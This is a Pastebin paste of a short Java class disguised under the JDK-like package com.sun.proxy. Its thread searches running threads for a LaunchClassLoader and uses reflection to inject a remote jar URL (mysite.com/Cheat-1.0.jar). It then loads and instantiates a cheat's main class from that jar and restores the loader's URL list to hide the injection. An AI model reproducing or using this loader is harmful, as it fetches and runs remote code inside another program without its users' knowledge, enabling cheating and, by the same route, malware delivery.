Advertisement
Guest User

ClassLoader

a guest
Jul 17th, 2019
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.84 KB | None | 0 0
  1. package com.sun.proxy;
  2.  
  3. import java.lang.reflect.*;
  4. import java.net.*;
  5. import java.util.*;
  6.  
  7. public class Proxy1337 extends Thread {
  8.     public Proxy1337() {
  9.         this.setName("SEXLOADER");
  10.         this.setPriority(10);
  11.         this.start();
  12.     }
  13.  
  14.     @Override
  15.     public void run() {
  16.         try {
  17.             for (final Thread thread : Thread.getAllStackTraces().keySet()) {
  18.                 if (thread != null && thread.getContextClassLoader() != null && thread.getContextClassLoader().getClass() != null && thread.getContextClassLoader().getClass().getName() != null && thread.getContextClassLoader().getClass().getName().contains("LaunchClassLoader")) {
  19.                     try {
  20.                         final Field fld = URLClassLoader.class.getDeclaredField("ucp");
  21.                         fld.setAccessible(true);
  22.                         final Object ucp = fld.get(thread.getContextClassLoader());
  23.                         final Field fld2 = ucp.getClass().getDeclaredField("urls");
  24.                         fld2.setAccessible(true);
  25.                         final Stack<URL> urls = (Stack<URL>)fld2.get(ucp);
  26.                         final Stack<URL> backup = new Stack<URL>();
  27.                         for (final URL url : urls) {
  28.                             backup.add(url);
  29.                         }
  30.                         urls.add(new URL("http://mysite.com/Cheat-1.0.jar"));
  31.                         thread.getContextClassLoader().loadClass("ru.cheat.Main").newInstance();
  32.                         fld2.set(ucp, backup);
  33.                         break;
  34.                     }
  35.                     catch (Exception e) {
  36.                         e.printStackTrace();
  37.                     }
  38.                 }
  39.             }
  40.         }
  41.         catch (Exception ex) {}
  42.     }
  43.  
  44.     public static void main() {
  45.         new Proxy1337();
  46.     }
  47. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement